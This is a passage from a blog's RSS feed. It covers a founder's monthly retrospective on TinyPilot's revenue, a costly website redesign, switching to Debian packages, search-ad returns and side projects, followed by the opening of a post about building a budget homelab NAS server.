 &lt;td>&lt;font color="green">+$11,073.20 (+25%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$2,253.61&lt;/td>
 &lt;td>$3,269.56&lt;/td>
 &lt;td>&lt;font color="green">+$1,015.95 (+45%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$46,072.36&lt;/td>
 &lt;td>$58,161.51&lt;/td>
 &lt;td>&lt;font color="green">+$12,089.15 (+26%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$19,392.76&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">$6,445.38&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$25,838.14 (+inf%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>This was a strong month in terms of visitors and sales. Visitors nearly tripled, and sales jumped by 25%.&lt;/p>
&lt;p>Most of the visitors arrived from Hacker News, though it didn&amp;rsquo;t seem to have much of an effect on sales. Sales were already on track to beat April by about 25% before I published the articles landed on Hacker News. The results might be delayed, as I&amp;rsquo;m seeing an atypically strong start to June.&lt;/p>
&lt;h2 id="the-tinypilot-website-redesign">The TinyPilot website redesign&lt;/h2>
&lt;p>Oh, boy. The redesign.&lt;/p>
&lt;p>What to say?&lt;/p>
&lt;p>It&amp;rsquo;s been dragging on for months, and the end has always felt just a few weeks away.&lt;/p>
&lt;p>When I interviewed designers and agencies at the start of this project, I told them I was looking to spend $8-15k on a redesign that would last a couple of months. I said that I most certainly didn&amp;rsquo;t want a project where I have to spend six months and $40k before I can see whether the changes have any real impact on sales.&lt;/p>
&lt;p>In the end, the project took eight months and cost $46k. I fell into the exact trap I wanted to avoid.&lt;/p>
&lt;p>I&amp;rsquo;m going to write a longer blog post about the experience, but the main mistakes were:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Too broad a scope&lt;/strong>: I should have &lt;a href="https://mtlynch.io/retrospectives/2022/04/#aggressively-protect-your-scope">kept the scope small&lt;/a>, starting with a rebranding before I let the agency expand into a full-blown redesign.&lt;/li>
&lt;li>&lt;strong>Hours reporting was too slow&lt;/strong>: I should have insisted on a system where the agency &lt;a href="https://mtlynch.io/retrospectives/2022/05/#the-importance-of-low-latency-hours-reporting">reported billable hours to me&lt;/a> as they occured rather than on a 2-week delay. If I can&amp;rsquo;t see how long a task is taking, I can&amp;rsquo;t adjust the scope it if it turns out to be more expensive than I expected.&lt;/li>
&lt;li>&lt;strong>Scheduling needed more transparency&lt;/strong>: I should have pushed for more communication about timelines so that I wasn&amp;rsquo;t surprised with how long the project dragged on.&lt;/li>
&lt;li>&lt;strong>Insufficient management time&lt;/strong>: I assumed that an agency working 40 hours per month would require roughly the same management overhead as an individual freelancer working 40 hours per month. Agencies involve more people, and more people mean &lt;a href="https://mtlynch.io/retrospectives/2022/04/#an-agency-requires-more-management-not-less">more management&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>But let&amp;rsquo;s take a look at the results. The project involved redesigning the three pages in the checkout flow: the landing page, the product page, and the shopping cart page:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/06/landing-before.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/06/landing-before_hu_990b987a53a7a63d.png 300w, https://mtlynch.io/retrospectives/2022/06/landing-before_hu_d52bc8595ede6ef5.png 600w, https://mtlynch.io/retrospectives/2022/06/landing-before_hu_74df353f9a9d291e.png 800w, https://mtlynch.io/retrospectives/2022/06/landing-before_hu_49993555044ac469.png 1200w, https://mtlynch.io/retrospectives/2022/06/landing-before.png 1331w'
 src="https://mtlynch.io/retrospectives/2022/06/landing-before.png" alt="Screenshot of old landing page" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 260px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/06/landing-after.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 260px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/06/landing-after_hu_42a2fa04f744cfc0.png 300w, https://mtlynch.io/retrospectives/2022/06/landing-after_hu_1611170efef2dda5.png 600w, https://mtlynch.io/retrospectives/2022/06/landing-after_hu_ec0109d5a772da88.png 800w, https://mtlynch.io/retrospectives/2022/06/landing-after_hu_ef5bffd4af5027f5.png 1200w, https://mtlynch.io/retrospectives/2022/06/landing-after.png 1331w'
 src="https://mtlynch.io/retrospectives/2022/06/landing-after.png" alt="Screenshot of new landing page" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Before and after landing page redesign&lt;/p>&lt;/figcaption>
&lt;/figure>



&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/06/product-before.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/06/product-before_hu_bedcd9a4567527c4.png 300w, https://mtlynch.io/retrospectives/2022/06/product-before_hu_4505a560a3770ac8.png 600w, https://mtlynch.io/retrospectives/2022/06/product-before_hu_4eafc25d86d1dbab.png 800w, https://mtlynch.io/retrospectives/2022/06/product-before_hu_b08a6653dcfe3ee0.png 1200w, https://mtlynch.io/retrospectives/2022/06/product-before.png 1331w'
 src="https://mtlynch.io/retrospectives/2022/06/product-before.png" alt="Screenshot of old Voyager 2 product page" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 220px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/06/product-after.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 220px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/06/product-after_hu_b1c9fdebfe6e5524.png 300w, https://mtlynch.io/retrospectives/2022/06/product-after_hu_7051d5d45466810.png 600w, https://mtlynch.io/retrospectives/2022/06/product-after_hu_78b4a4d5b75d2d86.png 800w, https://mtlynch.io/retrospectives/2022/06/product-after_hu_64620297698e565.png 1200w, https://mtlynch.io/retrospectives/2022/06/product-after.png 1331w'
 src="https://mtlynch.io/retrospectives/2022/06/product-after.png" alt="Screenshot of new Voyager 2 product page" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Before and after product page redesign&lt;/p>&lt;/figcaption>
&lt;/figure>



&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/06/cart-before.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/06/cart-before_hu_3c7ba7822272ee62.png 300w, https://mtlynch.io/retrospectives/2022/06/cart-before_hu_a60c068b01ad600.png 600w, https://mtlynch.io/retrospectives/2022/06/cart-before_hu_7546457fa5ade6a3.png 800w, https://mtlynch.io/retrospectives/2022/06/cart-before_hu_5e2d08ae5ca2c1a7.png 1200w, https://mtlynch.io/retrospectives/2022/06/cart-before.png 1331w'
 src="https://mtlynch.io/retrospectives/2022/06/cart-before.png" alt="Screenshot of old shopping cart page" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 340px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/06/cart-after.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 340px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/06/cart-after_hu_f85288824ac75ad9.png 300w, https://mtlynch.io/retrospectives/2022/06/cart-after_hu_74001ed2b8e24fdc.png 600w, https://mtlynch.io/retrospectives/2022/06/cart-after_hu_507bb4db764e8e0a.png 800w, https://mtlynch.io/retrospectives/2022/06/cart-after_hu_2bb7ecad305ca4ae.png 1200w, https://mtlynch.io/retrospectives/2022/06/cart-after.png 1331w'
 src="https://mtlynch.io/retrospectives/2022/06/cart-after.png" alt="Screenshot of new shopping cart page" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Before and after shopping cart page redesign&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>Money aside, I&amp;rsquo;m happy with the results. I think the new design is inarguably better than what I had before. The new logo and images make the project look more professional and distinctive.&lt;/p>
&lt;p>So, the new design is better, but is it $46k better?&lt;/p>
&lt;p>If I could go back in time, I certainly wouldn&amp;rsquo;t have paid that much and sunk all that time into the redesign. Still, it could still plausibly pay for itself.&lt;/p>
&lt;p>Beyond my fixed costs, 70% of TinyPilot&amp;rsquo;s sales revenue are profit. That means the redesign has to generate $66k in additional sales to earn its keep. If it increases my sales by 10%, then I&amp;rsquo;d go from an average of $50k/month to $55k/month. That would put me ahead in about a year. If better marketing attracts more customers to the site, I&amp;rsquo;ll make my money back even faster.&lt;/p>
&lt;h2 id="debian-packages-are-easy">Debian packages are easy&lt;/h2>
&lt;p>One of the odd design decisions I made with TinyPilot is its installation and update mechanism. We do it using &lt;a href="https://www.ansible.com/">Ansible&lt;/a>, a tool that&amp;rsquo;s designed for devops engineers to provision systems at scale. I used Ansible to provision my Raspberry Pi with &lt;a href="https://mtlynch.io/tinypilot/">the first prototype of TinyPilot&lt;/a>. That flow worked, so we just stuck with it.&lt;/p>
&lt;p>I knew that there were better solutions for installing software on Linux, but I didn&amp;rsquo;t have experience with them. TinyPilot has unusual requirements for configuring Raspberry Pi&amp;rsquo;s hardware features, so I dreaded the process of adapting standard install tools to meet those requirements. Instead, we continued using Ansible, as it worked fine and wasn&amp;rsquo;t causing any problems. It was slow, so an installation that should have been a few seconds took two minutes, but that wasn&amp;rsquo;t too bad.&lt;/p>
&lt;p>Two years in, we&amp;rsquo;re pushing the limits of Ansible. Our installation is getting too complex, and updates take upwards of five minutes.&lt;/p>
&lt;p>I&amp;rsquo;d considered Debian packages (e.g., &lt;code>apt-get&lt;/code>) in the past, but I&amp;rsquo;d heard negative stories about Debian&amp;rsquo;s packaging tools. And then on top of that, there were repository servers, keypairs, and a package signing process? It seemed like it would be a huge effort just to get the basics in place and then an incredible pain to do what we needed.&lt;/p>
&lt;p>As an experiment, I tried building a Debian package, and it turned out to be far easier than I feared. Debian packages are just tarballs with a particular folder structure and a few special files. I made my first working &lt;code>.deb&lt;/code> file in about an hour.&lt;/p>
&lt;p>And the repository servers and key pairs? It turns out that&amp;rsquo;s optional. You can just distribute the &lt;code>.deb&lt;/code> package files directly without ever needing a repository.&lt;/p>
&lt;p>&lt;a href="https://man7.org/linux/man-pages/man7/debhelper.7.html">&lt;code>debhelper&lt;/code>&lt;/a>, the official tool for creating Debian packages, was indeed as confusing and difficult as I&amp;rsquo;d heard, but it&amp;rsquo;s not necessary. We found it easier to just skip &lt;code>debhelper&lt;/code> and generate Debian&amp;rsquo;s metadata files by hand.&lt;/p>
&lt;p>Better still, we don&amp;rsquo;t have to switch from Ansible to Debian packages in one terrifying leap. We can incrementally move logic from Ansible to Debian packages at our own pace.&lt;/p>
&lt;p>Our first Debian package is for &lt;a href="https://janus.conf.meetecho.com">Janus&lt;/a>, the open-source WebRTC server. We used to compile the application from source on each device, which took ~30 minutes. Our new Debian package installs in a few seconds. And even though we need 32-bit ARM binaries, we can build the Debian package on x64 cloud servers using Docker&amp;rsquo;s QEMU integration. All of our code for compiling and packaging the code &lt;a href="https://github.com/tiny-pilot/janus-debian">is open-source&lt;/a>.&lt;/p>
&lt;p>Here are the resources we found helpful for learning about Debian packages:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://earthly.dev/blog/creating-and-hosting-your-own-deb-packages-and-apt-repo/">Creating and hosting your own deb packages and apt repo&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.internalpointers.com/post/build-binary-deb-package-practical-guide">Building binary deb packages: a practical guide&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.debian.org/doc/manuals/maint-guide/">Debian New Maintainers&amp;rsquo; Guide&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://help.ubuntu.com/community/Repositories/Personal">Official Debian Documentation&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://packaging.ubuntu.com/html/debian-dir-overview.html">Basic Overview of the debian/ Directory&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="search-ads-are-leveling-off">Search ads are leveling off&lt;/h2>
&lt;p>When I last calculated it, Google search ads looked amazing. I was &lt;a href="https://mtlynch.io/retrospectives/2022/05/#dipping-my-toe-in-paid-search-advertising">earning $0.69 in profit&lt;/a> for every dollar I spent on Google Ads. Now that more time has elapsed, and I have more data, it&amp;rsquo;s a less rosy picture.&lt;/p>
&lt;p>When I ran the numbers last month, I included April and the first week of May. That first week turned out to be an outlier, so the profit is weaker when I segment by month:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>April&lt;/th>
 &lt;th>May&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Ad spend&lt;/td>
 &lt;td>$804.12&lt;/td>
 &lt;td>$4,283.71&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Impressions&lt;/td>
 &lt;td>5,270&lt;/td>
 &lt;td>239,498&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Clicks&lt;/td>
 &lt;td>351&lt;/td>
 &lt;td>3,327&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Click through rate (CTR)&lt;/td>
 &lt;td>6.6%&lt;/td>
 &lt;td>1.4%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Cost per click (CPC)&lt;/td>
 &lt;td>$2.29&lt;/td>
 &lt;td>$1.29&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from conversions&lt;/td>
 &lt;td>$1,314.91&lt;/td>
 &lt;td>$7,649.60&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue on ad spend (ROAS)&lt;/td>
 &lt;td>1.63&lt;/td>
 &lt;td>1.79&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>About 30% of my revenue goes to hardware and labor costs, so a ROAS of 1.43 is roughly breakeven (1.43 - 30% = 1.0). Anything higher is profitable. At 1.79, I&amp;rsquo;m still making $0.26 for every dollar I spend on ads, so I&amp;rsquo;ll keep going.&lt;/p>
&lt;p>TinyPilot&amp;rsquo;s new digital marketing consultant reviewed my Google Ads account and identified several places where I was overspending on low-value keywords, so we&amp;rsquo;ll likely be able to improve these numbers over the next few months.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="picoshare">&lt;a href="https://github.com/mtlynch/picoshare/">PicoShare&lt;/a>&lt;/h3>
&lt;p>PicoShare is the open-source tool I &lt;a href="https://mtlynch.io/retrospectives/2022/04/#picoshare">released in March&lt;/a> that facilitates sharing files that are too big for email.&lt;/p>
&lt;p>In May, I added support for editing a file&amp;rsquo;s metadata after you upload it:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 764px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/06/ps-edit-file.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 764px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/06/ps-edit-file_hu_37b42f51bf010f2c.png 300w, https://mtlynch.io/retrospectives/2022/06/ps-edit-file_hu_11f19fa23d41a9af.png 600w, https://mtlynch.io/retrospectives/2022/06/ps-edit-file.png 762w'
 src="https://mtlynch.io/retrospectives/2022/06/ps-edit-file.png" alt="Screenshot of metadata edit screen in PicoShare" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>In May, I added support in PicoShare for editing file metadata.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Originally, you had a chance to add a note and choose an expiration time for a file at the time you uploaded it, and those decisions were final. Now, PicoShare is more flexible, allowing you to change a file&amp;rsquo;s metadata and expiration date at any time.&lt;/p>
&lt;p>After I added the edit screen, I realized it was a good opportunity to make the process of deleting files more error-proof. Before, if you clicked the delete button in the file listing, the file was gone — no confirmation, no undo. Now, deleting a file requires you to first visit the edit screen, click delete, then confirm the deletion:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 765px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/06/ps-confirm-delete.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 765px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/06/ps-confirm-delete_hu_e10c93ecd2cc73fb.png 300w, https://mtlynch.io/retrospectives/2022/06/ps-confirm-delete_hu_8bca97b7fc858c23.png 600w, https://mtlynch.io/retrospectives/2022/06/ps-confirm-delete.png 763w'
 src="https://mtlynch.io/retrospectives/2022/06/ps-confirm-delete.png" alt="Screenshot of delete confirmation dialog in PicoShare" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I added a confirmation dialog to reduce accidental file deletes.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="wanderjest">&lt;a href="https://wanderjest.com">WanderJest&lt;/a>&lt;/h3>
&lt;p>In early 2020, I was &lt;a href="https://mtlynch.io/retrospectives/2020/04/#putting-wanderjest-on-hold">building WanderJest&lt;/a>, a site that helps people find live comedy near them. I &lt;a href="https://mtlynch.io/retrospectives/2020/04/#putting-wanderjest-on-hold">put the site on hold in March&lt;/a> due to the pandemic. As we slowly return to normal, I&amp;rsquo;ve been revisiting WanderJest on weekends and evenings.&lt;/p>
&lt;p>One of the things that struck me in developing PicoShare was how much a simpler tech stack improves my development velocity:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>&lt;/th>
 &lt;th>PicoShare&lt;/th>
 &lt;th>WanderJest&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Backend&lt;/td>
 &lt;td>Go&lt;/td>
 &lt;td>Go&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Frontend&lt;/td>
 &lt;td>Go templates + HTML5&lt;/td>
 &lt;td>Vue 2&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Data Store&lt;/td>
 &lt;td>SQLite + Litestream&lt;/td>
 &lt;td>Firestore&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Firestore slows me down because of how hard it is to make schema changes. The only way I know how to do it is to write custom migration code and deploy it to the production server. With SQLite, I can just download the production database, write some SQL queries to tinker with it, and then push it out to the server.&lt;/p>
&lt;p>I&amp;rsquo;m now working on reimplementing WanderJest to replace Vue with Go templates and Firestore with SQLite.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/06/wanderjest-before.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/06/wanderjest-before_hu_ea466f3e5066b37.png 300w, https://mtlynch.io/retrospectives/2022/06/wanderjest-before_hu_e0414a59aecafbd2.png 600w, https://mtlynch.io/retrospectives/2022/06/wanderjest-before_hu_398c9a0633caa837.png 800w, https://mtlynch.io/retrospectives/2022/06/wanderjest-before_hu_2862da659cce0f50.png 1200w, https://mtlynch.io/retrospectives/2022/06/wanderjest-before.png 1331w'
 src="https://mtlynch.io/retrospectives/2022/06/wanderjest-before.png" alt="Screnshot of WanderJest live site" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 467px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/06/wanderjest-after.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 467px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/06/wanderjest-after_hu_9e4d04e9c99ed591.png 300w, https://mtlynch.io/retrospectives/2022/06/wanderjest-after_hu_3b650f0bd9d38505.png 600w, https://mtlynch.io/retrospectives/2022/06/wanderjest-after_hu_ae23febaea53cee4.png 800w, https://mtlynch.io/retrospectives/2022/06/wanderjest-after_hu_7ed00ce9e81992b5.png 1200w, https://mtlynch.io/retrospectives/2022/06/wanderjest-after.png 1331w'
 src="https://mtlynch.io/retrospectives/2022/06/wanderjest-after.png" alt="Screenshot of new Go-based WanderJest site" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Current Vue-based WanderJest site (left) vs. in-progress reimplementation of WanderJest with Go HTML templates (right)&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>Writing a frontend in Go is easier than I expected. The up-front experience isn&amp;rsquo;t as nice as Vue. I&amp;rsquo;d love conditional rendering or reactive properties, and you don&amp;rsquo;t get that in vanilla JS. But overall, rendering a page is so much simpler with Go.&lt;/p>
&lt;p>With Vue, my process for rendering data on the page was:&lt;/p>
&lt;ol>
&lt;li>Backend retrieves the data from the datastore.&lt;/li>
&lt;li>Backend derives a copy of the data with only the properties we want to share with the frontend.&lt;/li>
&lt;li>Backend serializes the data to JSON.&lt;/li>
&lt;li>Frontend retrieves the JSON data from the backend.&lt;/li>
&lt;li>Frontend populates page elements based on data it retrieved from the backend.&lt;/li>
&lt;/ol>
&lt;p>In contrast, rendering the page with Go templates is just two steps:&lt;/p>
&lt;ol>
&lt;li>Backend retrieves the data from the datastore.&lt;/li>
&lt;li>Backend populates a page template with data from the datastore.&lt;/li>
&lt;/ol>
&lt;p>When you render the frontend in Go, you can skip all the work of choosing what data the backend exposes to the frontend, how to serialize and unserialize it, and how to manage a local cache.&lt;/p>
&lt;p>I&amp;rsquo;ll have to wait until I&amp;rsquo;ve reached feature parity with the Vue version, but I think I&amp;rsquo;m on track to reduce total lines of code by about 50%.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Completed TinyPilot&amp;rsquo;s website redesign.&lt;/li>
&lt;li>Published a new TinyPilot release.&lt;/li>
&lt;li>Published a new blog post about my &lt;a href="https://mtlynch.io/budget-nas/">homelab NAS server&lt;/a>.&lt;/li>
&lt;li>Hired a digital marketing freelancer.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Debian packages are easier than they seem.&lt;/li>
&lt;li>Life is easier without frontend frameworks.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Create a self-contained tarball for installing TinyPilot.&lt;/li>
&lt;li>Complete the first draft of a full-length blog post about the TinyPilot website redesign.&lt;/li>
&lt;li>Increase ROAS on paid search ads to 2.0.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Building a Budget Homelab NAS Server (2022 Edition)</title><link>https://mtlynch.io/budget-nas/</link><pubDate>Mon, 23 May 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/budget-nas/</guid><description>&lt;!-- Disable linter complaints about duplicate headers -->
&lt;!-- markdownlint-disable MD024 -->
&lt;p>This year, I decided to build my first ever home storage server. It&amp;rsquo;s a 32 TB system that stores my personal and business data using open-source software.&lt;/p>
&lt;p>The server itself cost $531, and I bought four disks for $732, bringing the total cost to $1,263. It&amp;rsquo;s similar in price to off-the-shelf storage servers, but it offers more power and customizability.&lt;/p></description><content:encoded>&lt;!-- Disable linter complaints about duplicate headers -->
&lt;!-- markdownlint-disable MD024 -->
&lt;p>This year, I decided to build my first ever home storage server. It&amp;rsquo;s a 32 TB system that stores my personal and business data using open-source software.&lt;/p>
&lt;p>The server itself cost $531, and I bought four disks for $732, bringing the total cost to $1,263. It&amp;rsquo;s similar in price to off-the-shelf storage servers, but it offers more power and customizability.&lt;/p>
&lt;p>In this post, I&amp;rsquo;ll walk through how I chose the parts, what mistakes I made, and my recommendations for anyone interested in building their own.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="#background">Background&lt;/a>&lt;/li>
&lt;li>&lt;a href="#storage-planning">Storage planning&lt;/a>&lt;/li>
&lt;li>&lt;a href="#how-i-chose-parts">How I chose parts&lt;/a>&lt;/li>
&lt;li>&lt;a href="#build-photos">Build photos&lt;/a>&lt;/li>
&lt;li>&lt;a href="#performance-benchmarks">Benchmarking performance&lt;/a>&lt;/li>
&lt;li>&lt;a href="#final-thoughts">Final thoughts&lt;/a>&lt;/li>
&lt;li>&lt;a href="#25-year-update">2.5-year update&lt;/a> - Added November 2024&lt;/li>
&lt;/ul>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/budget-nas/all-parts.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/budget-nas/all-parts_hu_4301c536aa984f.jpg 300w, https://mtlynch.io/budget-nas/all-parts_hu_f3201880069950e2.jpg 600w, https://mtlynch.io/budget-nas/all-parts_hu_4abc7a235f67eea4.jpg 800w, https://mtlynch.io/budget-nas/all-parts_hu_90fb21018b3b948f.jpg 1200w, https://mtlynch.io/budget-nas/all-parts.jpg 2000w'
 src="https://mtlynch.io/budget-nas/all-parts.jpg" alt="Photo of NAS server parts in retail packaging" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/budget-nas/completed-build.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/budget-nas/completed-build_hu_ef1cf4b5aba35a8e.jpg 300w, https://mtlynch.io/budget-nas/completed-build_hu_aaed93eab60d1167.jpg 600w, https://mtlynch.io/budget-nas/completed-build_hu_467877c283a68e4a.jpg 800w, https://mtlynch.io/budget-nas/completed-build_hu_4029380e4c4ebee6.jpg 1200w, https://mtlynch.io/budget-nas/completed-build.jpg 2000w'
 src="https://mtlynch.io/budget-nas/completed-build.jpg" alt="Photo of completed server build" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Before and after of my 2022 homelab TrueNAS server build&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>If you&amp;rsquo;d prefer a video explanation, I recorded one on YouTube.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/q_Mi5LrnIiU?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;h2 id="background">Background&lt;/h2>
&lt;h3 id="why-build-a-nas-server">Why build a NAS server?&lt;/h3>
&lt;p>NAS stands for &lt;a href="https://en.wikipedia.org/wiki/Network-attached_storage">network-attached storage&lt;/a>. A NAS server&amp;rsquo;s primary job is storing data and making it available to other computers on your network.&lt;/p>
&lt;p>So, why have a whole dedicated server for data? After all, every computer stores data.&lt;/p>
&lt;p>I find it helpful to decouple data storage from my other systems. I upgrade my main workstation and laptop every two to three years, and migrating my data between computers was always a pain. A dedicated storage server eliminates most data migrations and facilitates sharing files between my systems.&lt;/p>
&lt;p>I also have a &lt;em>lot&lt;/em> of data. I&amp;rsquo;m a &lt;a href="https://www.reddit.com/r/DataHoarder/">data hoarder&lt;/a>, so I keep every digital photo I&amp;rsquo;ve ever taken, every email I&amp;rsquo;ve sent or received in the last 20 years, and source code for all of my personal projects. The total is currently 8.5 TB.&lt;/p>
&lt;p>The biggest data source is my DVD and Blu-Ray collection. I don&amp;rsquo;t like relying on streaming services to keep my favorite content available, so I still buy physical copies of movies and TV shows. As soon as I get a new disc, I rip the raw image and make a streamable video file. Between the raw ISO copy and the streamable MP4s, a single disc can occupy 60 GB of disk space.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/budget-nas/dvd-collection.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/budget-nas/dvd-collection_hu_1a90659461c4f87a.jpg 300w, https://mtlynch.io/budget-nas/dvd-collection_hu_83fff58701e9f527.jpg 600w, https://mtlynch.io/budget-nas/dvd-collection_hu_22dda7d25d1030d5.jpg 800w, https://mtlynch.io/budget-nas/dvd-collection_hu_b1943da0956ea2c2.jpg 1200w, https://mtlynch.io/budget-nas/dvd-collection.jpg 1600w'
